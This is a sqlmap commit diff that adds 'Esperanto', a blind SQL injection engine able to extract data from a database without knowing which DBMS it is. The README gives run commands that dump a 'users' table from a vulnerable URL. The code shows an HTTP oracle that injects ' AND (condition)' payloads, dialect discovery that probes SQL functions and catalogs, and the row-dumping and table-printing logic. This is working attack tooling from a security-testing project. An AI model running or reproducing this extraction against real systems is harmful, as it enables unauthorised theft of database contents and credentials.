CERBERUS/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-08-04 14:55:40 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

Tons of improvements for Esperanto engine

Browse source
This commit is contained in:
Miroslav Štampar 2026-07-22 01:06:57 +02:00
parent bdf1901a43
commit a5a7f7203a
13 changed files with 1859 additions and 320 deletions
Download patch file Download diff file Expand all files Collapse all files

148
extra/esperanto/README.md Normal file
View file

@ -0,0 +1,148 @@
# Esperanto
A DBMS-agnostic blind-extraction engine that speaks one "esperanto" at any SQL back-end, driven by
nothing but a boolean oracle.
## What this is
Ordinary blind SQL injection retrieval needs to know the back-end first: sqlmap fingerprints the
DBMS, loads that dialect's `queries.xml` row, and extracts with it. When the DBMS cannot be
identified - an unknown or heavily-firewalled target, an exotic engine, a fork that answers unlike
its parent - that pipeline dead-ends.
Esperanto removes the prerequisite. Given only a **boolean oracle** - a callable
`oracle(condition) -> bool` that reports whether an arbitrary SQL boolean expression holds at the
target - it discovers the dialect from scratch (string concatenation, substring / length /
character-code functions, the usable comparison operator, the catalog surface) and then extracts
data character-by-character, without ever being told which DBMS is on the other end.
The candidate SQL forms it probes are distilled from sqlmap's own `data/xml/queries.xml` across all
supported DBMSes: rather than fingerprint-then-load-one-dialect, it reuses that accumulated knowledge
as a single language it tries to speak at any backend. The engine is self-contained (no sqlmap
imports) and runs unmodified on Python 2.7 and Python 3.
## Usage
Inside sqlmap, via the `--esperanto` switch. sqlmap detects the boolean-blind injection as usual,
then hands the engine its own oracle (`checkBooleanExpression`, which rides the full request /
comparison / WAF stack) instead of fingerprinting. The normal enumeration switches then work against
an unidentified back-end:
```
python sqlmap.py -u 'http://host/vuln?id=1' --esperanto --banner --tables --dump -T users
```
Standalone, straight from this directory (no sqlmap, no `PYTHONPATH`):
```
python run.py -u 'http://host/vuln?id=1*' --tables --dump -T users
python run.py -u 'http://host/vuln?id=1*' --string <true-marker> --dump -T users -C uname,pass
python run.py --self-test
```
The `*` (or an explicit `[INFERENCE]`) marks the injection point; without one it defaults to the end
of the URL. The true/false oracle is taken from `--string` / `--not-string` / `--code`, or
auto-calibrated from the response when none is given.
## How it works
Discovery is a set of capability ladders. For each primitive it tries the known SQL forms in turn and
keeps the first that a small set of probes proves correct, so a backend that lacks - or a WAF that
filters - one form falls through to the next rather than failing:
| Primitive | Ladder (first that works wins) |
|------------------|--------------------------------|
| Concatenation | `\|\|`, `CONCAT()`, `+`, `&` |
| Substring | `SUBSTR` / `SUBSTRING` / `MID`, else `LEFT`/`RIGHT` composition |
| Length | a length function, else derived from the substring's end |
| Character read | code point (`ASCII`/`UNICODE`/`ORD`/...), collation-forced byte order, hex, ordinal, `=` scan |
| Comparison | `>`, else `BETWEEN`, else an operator-free ordered form (`SIGN`/`ABS`/`LEAST`/...), else order-free `IN()` |
| No-substring floor | `LIKE` / `GLOB` / `SIMILAR TO` pattern matching |
Each candidate is accepted only against a semantic check (for example, the comparison ladder is
validated across a signed truth table, not two positive samples), so a rewriting layer that turns
`>` into `>=` is rejected rather than silently mis-reading every count and length.
Discovery produces a `Dialect`; `identify()` then fuses catalog family, required dual-table and
version-banner evidence into a best-guess product. Enumeration walks catalogs by keyset
(`MIN(name) WHERE name > prev`) with no dialect row-limiter, and `dump()` reconstructs rows by a
discovered primary/unique key, else a physical row-id, else the row's own value.
## Interface
```python
from extra.esperanto import Esperanto
esp = Esperanto(oracle) # oracle(condition_str) -> bool
esp.discover() # ladder out the dialect
esp.identify() # best-guess product + evidence
esp.extract("(SELECT ...)") # one scalar, char-by-char
esp.dump("users", schema="app") # {columns, rows, complete, exact, keyed_by}
esp.enumerate("table") # keyset catalog walk
```
- The **oracle contract** is strict tri-state: return `True` / `False` for an observed result; a
transport or observation failure must raise (or return a non-boolean), which the engine treats as
*undecided* rather than a definitive `False`. A wrong-dialect or unsupported probe is expected to be
reported as `False` by the oracle itself.
- `buildHandler()` is the sqlmap adapter (`--esperanto`), a `dbmsHandler` that maps sqlmap's
enumeration calls onto the engine. sqlmap-core imports are deferred inside it so the rest of the
package stays dependency-free.
- `strategy()` freezes the discovered dialect into an immutable `InferenceStrategy` of pure `render_*`
methods (no oracle, no loop), and `hostExtract()` is a reference host loop that extracts using only
a strategy plus an oracle.
## Integrity model
Every recovered value carries an `Integrity` classification so a caller can tell "we visited every
position" apart from "the bytes are provably the source's":
| State | Meaning |
|-----------------------|---------|
| `EXACT` | proven byte-identical to the source (or a proven `NULL`) |
| `WHOLE_BUT_AMBIGUOUS` | every position read, but case/accent is uncertain (collation-dependent comparison, no byte-exact primitive) |
| `TRUNCATED` | a bounded prefix; the source continues |
| `UNRESOLVED` | a character could not be recovered |
| `FAILED` | could not observe or verify |
The engine is designed to fail closed: it never manufactures a `False` from an unobservable probe,
never silently substitutes or drops a character, distinguishes `NULL` from empty string, and reports
a dump along two independent axes - `complete` (coverage: every row) and `exact` (content: the values
are byte-faithful). `EXACT` is claimed only when a byte-faithful witness backs the value.
## Scope and limitations
This is a last-resort engine for targets a normal fingerprint cannot reach, not a replacement for
sqlmap's native retrieval. Known boundaries:
- **Throughput.** Extraction is one boolean question per request, char-by-char; it is bounded by the
information theory of a boolean oracle (about one bit per request) and by network latency. It is
built for reach, not speed.
- **Namespace.** Database, schema and owner are currently handled as a single scope name. Fully
separated, backend-aware qualification (for example SQL Server `database.schema.table` via a
`sys.schemas` join) is not yet modelled, so schema scoping on those engines is best-effort.
- **Encoding.** The back-end's declared character set is read from its own catalog and mapped to a
codec (with the vendor quirks - MySQL `latin1` is Windows-1252, Oracle `WE8MSWIN1252` too),
resolving the common cases definitively. A column whose character set differs from the database
default, or a set outside the mapped list, decodes best-effort and is marked non-exact rather
than asserted.
- **Strategy hand-off.** The exported `InferenceStrategy` / `hostExtract()` drive the character
comparison modes under an ordered comparator; they do not yet drive the pattern-only or
membership-only modes, and the frozen field set does not yet carry every discovered semantic.
Where a value cannot be recovered exactly, the engine surfaces its `Integrity` rather than presenting
it as trustworthy.
## Self-test
```
python run.py --self-test
```
runs the engine against an in-memory SQLite oracle across every compare mode plus identification,
byte extraction, noisy-oracle quorum voting, the fail-closed integrity invariants and the frozen
strategy hand-off. The regression corpus lives in `tests/test_esperanto.py`.
---
Part of [sqlmap](https://sqlmap.org). See the top-level `LICENSE` for copying permission.

4
extra/esperanto/__init__.py
View file

@ -22,7 +22,7 @@ for a built-in self-test against an in-memory SQLite oracle.
from .engine import Esperanto
from .engine import hostExtract
from .handler import buildHandler
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy
from .records import Cap, ExtractResult, BulkResult, Dialect, InferenceStrategy, Integrity
from .records import OracleUndecided, QueryBudgetExceeded
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "OracleUndecided", "QueryBudgetExceeded"]
__all__ = ["Esperanto", "hostExtract", "buildHandler", "Cap", "ExtractResult", "BulkResult", "Dialect", "InferenceStrategy", "Integrity", "OracleUndecided", "QueryBudgetExceeded"]

184
extra/esperanto/__main__.py
View file

@ -10,6 +10,10 @@ from .engine import Esperanto, hostExtract
from .records import (
OracleUndecided, ExtractResult, QueryBudgetExceeded)
# ratio-mode confidence margin: if the true/false similarity scores are within this of each
# other the page can't be classified, so the oracle returns UNDECIDED rather than guessing.
_RATIO_MARGIN = 0.05
def _sqliteOracle(block=None):
"""In-memory SQLite boolean oracle for the self-test (DBMS hidden from prober).
@ -218,10 +222,10 @@ def _selftest():
pass
# extract using ONLY the strategy + oracle (no Esperanto retrieval code)
got = hostExtract(oracle, strat, "(SELECT name FROM users WHERE id=1)")
assert got == "Admin-42", "hostExtract via strategy failed: %r" % got
assert got.value == "Admin-42" and got.exact, "hostExtract via strategy failed: %r" % got
row = strat.asQueriesRow()
assert row["substring"] and row["length"] and row["inference"], "queries-row incomplete: %r" % row
print(" strategy: frozen + hostExtract('%s')=%r + queries.xml row rendered" % (strat.compare_mode, got))
print(" strategy: frozen + hostExtract('%s')=%r (exact) + queries.xml row rendered" % (strat.compare_mode, got.value))
print("SELF-TEST PASSED (all compare modes + identify + bytes + quorum + integrity + strategy)")
@ -364,19 +368,22 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
return (HTTPSConnection if scheme == "https" else HTTPConnection)(netloc, timeout=30)
def fetch(cond):
if "[INFERENCE]" in (url + (data or "")): # verbatim (caller owns the context)
u_raw = url.replace("[INFERENCE]", cond)
d_raw = data.replace("[INFERENCE]", cond) if data else data
# encode the INJECTED fragment fully and splice it into the (already-encoded) URL, so a
# '&' or '%' produced by the SQL (Access '&' concat, LIKE '%') becomes %26/%25 inside the
# parameter VALUE - it can't turn into a new HTTP parameter separator or a stray escape.
if "[INFERENCE]" in (url + (data or "")): # verbatim marker (caller owns context)
payload = _quote(cond, safe="")
u_raw = url.replace("[INFERENCE]", payload)
d_raw = data.replace("[INFERENCE]", payload) if data else data
else: # '*' -> boolean AND at the mark
ins = " AND (%s)" % cond
ins = _quote(" AND (%s)" % cond, safe="")
u_raw = url.replace("*", ins, 1) if "*" in url else url
d_raw = data.replace("*", ins, 1) if (data and "*" in data) else data
# keep the '='/'&' param structure, encode the rest so spaces/metachars survive
parts = urlsplit(u_raw)
parts = urlsplit(u_raw) # the surrounding URL is already user-encoded
path = parts.path or "/"
if parts.query:
path += "?" + _quote(parts.query, safe="=&")
body = _quote(d_raw, safe="=&").encode("utf-8") if d_raw else None
path += "?" + parts.query
body = d_raw.encode("utf-8") if d_raw else None
method = "POST" if body else "GET"
hdrs = {"User-Agent": "esperanto", "Connection": "keep-alive"}
if body:
@ -406,7 +413,8 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
except Exception:
pass
_conn["c"] = None # force a reconnect on the retry
return "", 0
return None, None # transport FAILED -> undecided, NOT ("",0)
# (an empty body must never look like a False page)
dyn = set()
@ -426,6 +434,8 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
mode, wanted = "code", int(code)
else: # auto-calibrate
(t1, s1), (t2, s2), (f1, sf) = fetch("1=1"), fetch("1=1"), fetch("1=2")
if t1 is None or t2 is None or f1 is None:
raise SystemExit("[!] cannot calibrate oracle: transport failed on a control request")
dyn = set(t1.split("\n")) ^ set(t2.split("\n")) # varies between identical requests -> dynamic
tc, fc = _clean(t1, "1=1"), _clean(f1, "1=2")
if s1 == s2 and s1 != sf: # (1) HTTP status alone separates true/false
@ -449,8 +459,10 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
if not string and not notString:
print("[*] calibrated oracle: %s%s" % (mode, (" (%r)" % wanted) if mode in ("code", "autostring") else ""))
def oracle(cond):
def classify(cond):
body, status = fetch(cond)
if body is None: # transport failure -> UNDECIDED (tri-state):
return None # let the engine retry/degrade, never a fake bool
if mode == "string":
return string in body
if mode == "notstring":
@ -462,11 +474,101 @@ def _httpOracle(url, data=None, cookie=None, headers=None, string=None, notStrin
c = _clean(body, cond)
st = difflib.SequenceMatcher(None, c, base["t"]).quick_ratio()
sf = difflib.SequenceMatcher(None, c, base["f"]).quick_ratio()
return st >= sf
if abs(st - sf) < _RATIO_MARGIN: # too close to call -> undecided, not a coin-flip
return None
return st > sf
state = {"n": 0, "dead": False}
def oracle(cond):
# PERIODIC control revalidation: over thousands of requests the baseline can drift
# (auth expiry, rate-limit page, CDN challenge, redeploy, marker swap). Every 256 probes
# re-run the known controls; if 1=1/1=2 stop separating, SUSPEND (return undecided) rather
# than keep feeding a broken model into bisection.
state["n"] += 1
if state["n"] % 256 == 0 or state["dead"]:
t, f = classify("1=1"), classify("1=2")
state["dead"] = not (t is True and f is False)
if state["dead"]:
print("[!] oracle controls no longer separate (1=1=%r, 1=2=%r) - suspending" % (t, f))
return None
return classify(cond)
return oracle
def _safeterm(s):
"""Neutralize control/escape bytes in DB content before it reaches the terminal - stored
values can carry ANSI cursor/title/OSC sequences, embedded newlines or fake log prefixes
that would otherwise manipulate or forge the operator's console."""
if s is None:
return s
# escape C0 (< 0x20), DEL (0x7f) AND C1 (0x80-0x9f) controls - a bare 0x9b is an ANSI CSI
# introducer, so leaving the C1 range through would still let stored content drive the terminal
return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s)
def _printTable(columns, rows):
"""Render a bordered, column-aligned table (sqlmap-style) instead of raw ' | ' joins."""
cells = [["NULL" if v is None else _safeterm(v) for v in row] for row in rows]
widths = [max([len(columns[i])] + [len(r[i]) for r in cells]) for i in range(len(columns))]
bar = "+" + "+".join("-" * (w + 2) for w in widths) + "+"
line = lambda vals: "| " + " | ".join(v.ljust(widths[i]) for i, v in enumerate(vals)) + " |"
print(bar)
print(line(columns))
print(bar)
for r in cells:
print(line(r))
print(bar)
import binascii as _binascii
_HEX = set("0123456789abcdefABCDEF")
def _previewFramed(partial):
"""A hex-framed row payload decoded into the value AS IT ARRIVES - including the in-progress
token's completed bytes - so the live line grows CHARACTER BY CHARACTER, like sqlmap. Handles
BOTH grammars: length-framed `V<len>:<hex>;` / `N;` and the legacy `V<hex>` / `N` (','-sep).
Returns None when `partial` isn't a framed payload."""
if not partial or partial[0] not in "NV" or any(c not in _HEX and c not in ",:;NV" for c in partial):
return None
def _dec(h):
h = h[:len(h) - (len(h) % 2)] # only WHOLE bytes so far
try:
return _binascii.unhexlify(h).decode("utf-8", "replace")
except Exception:
return "?"
out = []
if ";" in partial or ":" in partial: # length-framed grammar: V<len>:<hex>; / N;
for t in partial.split(";"):
if not t:
continue
if t == "N":
out.append("NULL")
elif t.startswith("V"):
_lp, _sep, hx = t[1:].partition(":")
out.append(_dec(hx))
return ", ".join(out)
for t in partial.split(","): # legacy grammar
if t == "N":
out.append("NULL")
elif t.startswith("V"):
out.append(_dec(t[1:]))
return ", ".join(out)
def _scalar(esp, expr):
"""A user-facing scalar that DISPLAYS its integrity instead of erasing it: an inexact
(truncated / case-ambiguous / unverified) value is shown with its status, never as if exact."""
r = esp.extractResult(expr)
if r.value is None:
return "NULL" if r.is_null else "n/a (unresolved)"
return _safeterm(r.value) if r.exact else "%s [%s]" % (_safeterm(r.value), r.integrity)
def _report(esp, args):
"""Run the requested action(s) against a discovered target and print the results."""
print("[*] dialect: %r" % esp.dialect)
@ -480,7 +582,13 @@ def _report(esp, args):
if scope is None and (args.tables or args.columns or args.dump):
dbexpr = esp.dialect.identity.get("database")
try:
cur = esp.extract(dbexpr) if dbexpr else None
r = esp.extractResult(dbexpr) if dbexpr else None
# the scope name becomes a keyset bound / schema qualifier - a case/accent-ambiguous
# spelling would mis-target (merge a system-schema table, yield a 0-row dump), so
# require a byte-exact read, exactly as the sqlmap handler's _safeExtract does.
cur = r.value if (r and r.exact) else None
if r and r.value and not r.exact:
print("[!] scope database name not byte-exact (%s) - not scoping" % r.integrity)
except Exception:
cur = None
if args.tbl and (args.columns or args.dump):
@ -494,10 +602,10 @@ def _report(esp, args):
print("[*] scoping to database/schema: %s" % scope)
if args.current_user:
expr = esp.dialect.identity.get("user")
print("[*] current user: %s" % (esp.extract(expr) if expr else "n/a"))
print("[*] current user: %s" % (_scalar(esp, expr) if expr else "n/a"))
if args.current_db:
expr = esp.dialect.identity.get("database")
print("[*] current database: %s" % (esp.extract(expr) if expr else "n/a"))
print("[*] current database: %s" % (_scalar(esp, expr) if expr else "n/a"))
if args.tables:
print("[*] fetching tables ...")
print("[*] tables: %s" % ", ".join(esp.enumerate("table", schema=scope) or ["<none>"]))
@ -509,7 +617,7 @@ def _report(esp, args):
print("[*] columns of %s: %s" % (args.tbl, ", ".join(esp.columns(args.tbl, schema=scope) or ["<none>"])))
if args.query:
print("[*] fetching %s ..." % args.query)
print("[*] %s = %r" % (args.query, esp.extract(args.query)))
print("[*] %s = %s" % (args.query, _scalar(esp, args.query)))
if args.dump:
if not args.tbl:
print("[!] --dump needs -T <table>")
@ -519,14 +627,24 @@ def _report(esp, args):
print("[*] fetching columns for table '%s' ..." % args.tbl) # 'entries' phase below streams ROWS, not column names
cols = esp.columns(args.tbl, schema=scope) or None
print("[*] fetching entries for table '%s' ..." % args.tbl)
result = esp.dump(args.tbl, columns=cols, schema=scope)
# NO silent internal 10-row cap: honor --stop, else dump ALL rows (by COUNT) and
# always print whether the result is complete.
if getattr(args, "stop", None):
limit = args.stop
else:
try:
limit = esp.extractInteger("(SELECT COUNT(*) FROM %s)" % esp.qualify(args.tbl, scope)) or 10
except Exception:
limit = 1 << 30
result = esp.dump(args.tbl, columns=cols, schema=scope, limit=limit)
if not result or not result["columns"]:
print("[!] could not dump %s" % args.tbl)
else:
print("[*] %s (%d rows):" % (args.tbl, len(result["rows"])))
print(" " + " | ".join(result["columns"]))
for row in result["rows"]:
print(" " + " | ".join("NULL" if v is None else v for v in row))
tag = "" if result["complete"] else " - INCOMPLETE (%s)" % (result.get("keyed_by") or "best-effort")
if not result.get("exact", True): # coverage complete but content collation-dependent
tag += " - INEXACT (case/accents may differ)"
print("[*] Table: %s (%d entries%s)" % (args.tbl, len(result["rows"]), tag))
_printTable(result["columns"], result["rows"])
def main(argv=None):
@ -565,6 +683,7 @@ def main(argv=None):
parser.add_argument("-D", dest="db", help="database/schema to enumerate")
parser.add_argument("-T", dest="tbl", help="table to enumerate")
parser.add_argument("-C", dest="col", help="columns to dump (comma-separated)")
parser.add_argument("--stop", type=int, help="max rows to dump (default: all)")
# internal dev/test harness switches - functional but hidden from --help (--live drives the
# local-Docker DBMS livetest; --waf is a livetest-only fault-injection mode, NOT a real WAF bypass)
parser.add_argument("--live", action="store_true", help=argparse.SUPPRESS)
@ -586,10 +705,25 @@ def main(argv=None):
esp = Esperanto(_httpOracle(target, args.data, args.cookie, args.header,
args.string, args.not_string, args.code))
import sys as _sys
def _live(value): # signs of life during the (slow, blind) extraction
_sys.stdout.write("[*] retrieved: %s\n" % value)
_tty = _sys.stdout.isatty()
def _charLive(partial, total):
# LIVE char-by-char on ONE rewriting line, exactly like sqlmap: the value grows in
# place ([*] retrieved: e -> em -> ema -> ...) and is FINALIZED with a newline when
# complete, so it can't collide with the next message. Framed rows preview as cells.
shown = _previewFramed(partial)
if shown is None:
shown = partial
_sys.stdout.write("\r\033[K[*] retrieved: %s" % _safeterm(shown[-200:]))
if len(partial) >= total: # value complete -> keep it and drop to a new line
_sys.stdout.write("\n")
_sys.stdout.flush()
esp._progress = _live
def _plainLive(value): # piped/non-tty: one plain line per value, no control codes
_sys.stdout.write("[*] retrieved: %s\n" % _safeterm(value))
_sys.stdout.flush()
if _tty:
esp._charProgress = _charLive # animated char-by-char is the sole feedback on a terminal
else:
esp._progress = _plainLive # logs/pipes get clean per-value lines instead
print("[*] discovering the back-end SQL dialect (agnostic mode) ...")
try:
esp.discover()

85
extra/esperanto/atlas.py
View file

@ -119,9 +119,60 @@ _MAX_HEX_CHAR_NIBBLES = 16
_HEX_Q_ENCODINGS = (("71", "utf-8"), ("0071", "utf-16-be"), ("7100", "utf-16-le"))
# scalar expressions that yield the back-end's DECLARED character set NAME, tried in turn -
# the strongest encoding signal there is (the DB tells us its own charset), and read once. A
# wrong-family probe errors -> reported False -> skipped, so the first that resolves is the one.
_CHARSET_PROBES = (
"@@character_set_connection", # MySQL/MariaDB/TiDB: the charset
# CAST(x AS CHAR) outputs (what the
# framed dump hexes), NOT @@character_set_database
"current_setting('server_encoding')", # PostgreSQL / Cockroach / Crate
"(SELECT value FROM nls_database_parameters WHERE parameter='NLS_CHARACTERSET')", # Oracle
"CONVERT(VARCHAR(64),COLLATIONPROPERTY(CONVERT(NVARCHAR(128),SERVERPROPERTY('Collation')),'CodePage'))", # SQL Server -> code page number
)
# declared charset NAME (normalized: lowercased, non-alphanumerics stripped) -> Python codec.
# Encodes the vendor QUIRKS that make byte-level guessing wrong: MySQL "latin1" is really
# Windows-1252, Oracle "WE8MSWIN1252"/PG "WIN1252" too; only "iso-8859-1"-named sets are true
# Latin-1. This is where reading the DB's own answer beats statistical detection.
_CHARSET_CODEC = {
"utf8": "utf-8", "utf8mb4": "utf-8", "utf8mb3": "utf-8", "al32utf8": "utf-8",
"unicode": "utf-8", "utf8unicodeci": "utf-8", "65001": "utf-8",
"utf16": "utf-16", "utf16le": "utf-16-le", "utf16be": "utf-16-be", "al16utf16": "utf-16-be", "ucs2": "utf-16-be",
"latin1": "cp1252", # MySQL 'latin1' == Windows-1252
"cp1252": "cp1252", "windows1252": "cp1252", "we8mswin1252": "cp1252", "win1252": "cp1252", "1252": "cp1252",
"iso88591": "latin-1", "we8iso8859p1": "latin-1", "88591": "latin-1", "28591": "latin-1",
"iso885915": "iso-8859-15", "latin9": "iso-8859-15", "we8iso8859p15": "iso-8859-15",
"cp1251": "cp1251", "windows1251": "cp1251", "win1251": "cp1251", "cl8mswin1251": "cp1251", "1251": "cp1251",
"cp1250": "cp1250", "windows1250": "cp1250", "ee8mswin1250": "cp1250", "1250": "cp1250",
"gbk": "gbk", "gb2312": "gbk", "zhs16gbk": "gbk", "936": "gbk", "gb18030": "gb18030",
"big5": "big5", "zht16big5": "big5", "950": "big5",
"sjis": "shift_jis", "shiftjis": "shift_jis", "cp932": "shift_jis", "ja16sjis": "shift_jis", "932": "shift_jis",
"euckr": "euc-kr", "ko16ksc5601": "euc-kr", "51949": "euc-kr",
"eucjp": "euc-jp", "ujis": "euc-jp", "ja16euc": "euc-jp",
"koi8r": "koi8-r", "cl8koi8r": "koi8-r",
"ascii": "ascii", "usascii": "ascii", "us7ascii": "ascii",
}
def _charsetCodec(name):
"""Map a declared charset NAME (or code-page number) to a Python codec, or None if unknown.
Trailing collation qualifiers (MySQL `utf8mb4_general_ci`) are stripped progressively."""
import re as _re
key = _re.sub(r"[^a-z0-9]", "", (name or "").lower())
while key:
if key in _CHARSET_CODEC:
return _CHARSET_CODEC[key]
key = key[:-1] # peel trailing collation suffix (utf8mb4generalci -> ... -> utf8mb4)
return None
# the only code points a hex-framed dump payload can contain (hex digits + N/V markers
# + the ',' delimiter); lets that value extract via a tiny bisection alphabet
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",0123456789ABCDEFNV"))
# + the length-frame ':'/';' + the legacy ',' delimiter); lets that value extract via a tiny
# bisection alphabet. MUST include ':' and ';' or the length-framed grammar's chars fall
# outside the alphabet -> whole-value verify fails -> a costly full-hex re-extraction.
_HEX_PAYLOAD_CODES = sorted(set(ord(c) for c in ",:;0123456789ABCDEFNV"))
# force a byte-ordered, case/accent-sensitive comparison of {x} even where the default
@ -215,14 +266,22 @@ _BYTELEN = (
# cast an arbitrary scalar (int/date/binary) {expr} to text so it can be substringed
# PREFER UNBOUNDED casts - a bounded VARCHAR(4000) passes discovery (short test value) but
# SILENTLY TRUNCATES a longer value before it is framed/hexed, corrupting a dump that still
# looks complete. Unbounded forms are tried first; the discovery probe's exact-length check
# rejects a CHAR(1)-style truncating cast, so listing CAST(AS CHAR) is safe (MySQL: unbounded;
# elsewhere: CHAR(1) -> length 3 check fails -> skipped). Oracle VARCHAR2 has a hard 4000 cap,
# so a >4000 value there is caught by per-cell source verification in dump(), not here.
_TEXTCAST = (
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"),
("cast_text", "CAST(({expr}) AS TEXT)"),
("cast_char", "CAST(({expr}) AS CHAR)"),
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"),
("cast_text", "CAST(({expr}) AS TEXT)"), # PostgreSQL/SQLite/... UNBOUNDED
("cast_char", "CAST(({expr}) AS CHAR)"), # MySQL/MariaDB UNBOUNDED (bare CHAR)
("cast_nvarchar_max", "CAST(({expr}) AS NVARCHAR(MAX))"),# SQL Server UNBOUNDED
("cast_varchar_max", "CAST(({expr}) AS VARCHAR(MAX))"), # SQL Server UNBOUNDED (non-Unicode)
("cast_string", "CAST(({expr}) AS STRING)"), # BigQuery/Spark UNBOUNDED
("cast_varchar", "CAST(({expr}) AS VARCHAR(4000))"), # bounded fallbacks (short values only)
("cast_varchar2", "CAST(({expr}) AS VARCHAR2(4000))"), # Oracle (hard 4000 limit)
("to_char", "TO_CHAR({expr})"),
("convert_varchar", "CONVERT(VARCHAR(4000),({expr}))"),
("cast_string", "CAST(({expr}) AS STRING)"),
("cast_nvarchar", "CAST(({expr}) AS NVARCHAR(4000))"),
)
@ -412,6 +471,18 @@ _UNICODE_MAX = 0x10FFFF
_REPL = u"\uFFFD"
# a warning is INFORMATIONAL (the recovered bytes are whole + usable, only case/accent is
# uncertain, or the value was cleanly recovered by an alternate route) if it mentions one of
# these; anything else is an INTEGRITY warning meaning the bytes may be wrong/partial, which
# clears `complete`. Lets `complete` be a clean invariant: True == trustworthy whole value.
_SOFT_WARNINGS = ("case", "collation", "recovered via hex")
def _hardWarnings(warns):
"""The integrity-class warnings in `warns` (those that impugn the recovered bytes)."""
return [w for w in warns if not any(s in w for s in _SOFT_WARNINGS)]
# py2/py3 shim: integer code point -> single char
try:
_unichr = unichr # py2

140
extra/esperanto/discovery.py
View file

@ -12,6 +12,8 @@ from .atlas import _BYTELEN
from .atlas import _CATALOGS
from .atlas import _CHARCODE
from .atlas import _CHARFROM
from .atlas import _charsetCodec
from .atlas import _CHARSET_PROBES
from .atlas import _COALESCE
from .atlas import _CONCAT
from .atlas import _DUAL
@ -67,6 +69,7 @@ class _Discovery(object):
self._discoverCompare()
self._discoverComparator()
self._discoverCharfrom()
self._discoverCharset()
self._discoverDual()
self._discoverIdentity()
self._discoverCatalog()
@ -84,7 +87,13 @@ class _Discovery(object):
self.dialect.substring = None # route retrieval to the pattern-match path
self.dialect.length = None
self.dialect.compare = "like"
# the numeric/paging comparator is STILL needed here: catalog keyset paging relies on
# it, and the constructor default 'gt'/_inOk=True would silently fail (returning only
# the first row, no warning) on the very WAF that forced this floor. Discover the real
# capability so paging uses NOT IN / brute-force honestly.
self._discoverComparator()
self._discoverCharfrom()
self._discoverCharset()
self._discoverDual()
self._discoverCatalog()
self._discovered = True
@ -212,10 +221,21 @@ class _Discovery(object):
# of pushing a raw non-ASCII byte through the URL/app/DBMS encoding layers.
if self._codeTmpl is None:
self._codeTmpl = False
for _, tmpl in _CHARFROM:
if self._ask("%s='a'" % tmpl.format(code=97)) and not self._ask("%s='b'" % tmpl.format(code=97)):
# PASS 1 prefers a UNICODE-capable constructor (one that yields a non-NULL char for a
# code point > 255), so SQL Server picks NCHAR over the byte-only CHAR - CHAR(8364)
# is NULL there and would break the euro/UTF-16 probes. PASS 2 accepts any ASCII-
# working constructor when no Unicode-capable one exists.
for unicode_capable in (True, False):
for _, tmpl in _CHARFROM:
if not (self._ask("%s='a'" % tmpl.format(code=97)) and
not self._ask("%s='b'" % tmpl.format(code=97))):
continue
if unicode_capable and not self._ask("(%s) IS NOT NULL" % tmpl.format(code=256)):
continue
self._codeTmpl = tmpl
break
if self._codeTmpl:
break
return self._codeTmpl or None
def _substringUnit(self):
@ -281,7 +301,12 @@ class _Discovery(object):
if self.dialect.concat:
joined = self.dialect.concat[1].format(a="({expr})", b="'.'")
props = dict(L.props, trailing=True)
self.dialect.length = Cap(L.name + "+dot", "(%s)-1" % L[1].format(expr=joined), **props)
inner = "(%s)-1" % L[1].format(expr=joined)
# a variadic CONCAT() (SQL Server/Sybase) treats NULL as '' -> LEN(CONCAT(NULL,'.'))-1
# is 0, which would report a NULL value as an empty string. Guard so a NULL input
# still yields NULL (keeps is_null detectable); harmless for NULL-preserving '||'.
tmpl = "(CASE WHEN ({expr}) IS NULL THEN NULL ELSE %s END)" % inner
self.dialect.length = Cap(L.name + "+dot", tmpl, **props)
self.dialect.notes.append("length fn trims trailing spaces; using %s(x||'.')-1" % L.name)
else:
self.dialect.notes.append("length fn trims trailing spaces and no concat to correct it")
@ -290,10 +315,12 @@ class _Discovery(object):
# substring positions and the length count must be in the SAME unit, else
# the per-position walk desyncs on multibyte data
s, ln = self.dialect.substring, self.dialect.length
if s and ln:
su, lu = s.get("unit"), ln.get("unit")
if su == "characters" and lu == "bytes":
self.dialect.notes.append("UNIT MISMATCH: char-indexed substring vs byte-count length - multibyte values may desync")
if s and ln and s.get("unit") == "characters" and ln.get("unit") == "bytes":
# HARD strategy change (not just a warning): a byte-count length would drive the
# char-indexed substring walk PAST the end of a multibyte value. Discard it so
# length is derived from the char-based substring instead - same unit, no desync.
self.dialect.notes.append("unit mismatch (char substring vs byte-count length) - deriving length from substring")
self.dialect.length = None
def _discoverBytelen(self):
# a *byte*-length fn - distinguished from char length with a multibyte char
@ -312,6 +339,11 @@ class _Discovery(object):
self.dialect.bytelen = Cap(name, tmpl)
return name
# casts with no length bound - hex-framing a value through these can never truncate it;
# anything else may silently shorten a long value, so dump() verifies those cells at source
_UNBOUNDED_CASTS = frozenset(("cast_text", "cast_char", "cast_nvarchar_max",
"cast_varchar_max", "cast_string"))
def _discoverTextcast(self):
# a cast that stringifies a number: substr(cast(123),1,1)='1' and the
# negative sign survives (substr(cast(-42),1,1)='-')
@ -320,7 +352,7 @@ class _Discovery(object):
if self._ask("%s='1'" % self._sub(c123, 1, 1)) and \
self._lenEquals(c123, 3) and \
self._ask("%s='-'" % self._sub(cneg, 1, 1)):
self.dialect.textcast = Cap(name, tmpl)
self.dialect.textcast = Cap(name, tmpl, bounded=name not in self._UNBOUNDED_CASTS)
return name
def _discoverCoalesce(self):
@ -378,23 +410,44 @@ class _Discovery(object):
# 2) force byte-ordered comparison via COLLATE / binary cast - as fast as a
# code function (one compare per bisection) and recovers case under CI /
# locale collations. tried before hex because it's cheaper.
cf = self._codeCharTmpl()
for name, tmpl in _BINWRAP:
w = lambda s: tmpl.format(x=s)
if self._ask("%s>%s" % (w("'a'"), w("'A'"))) and \
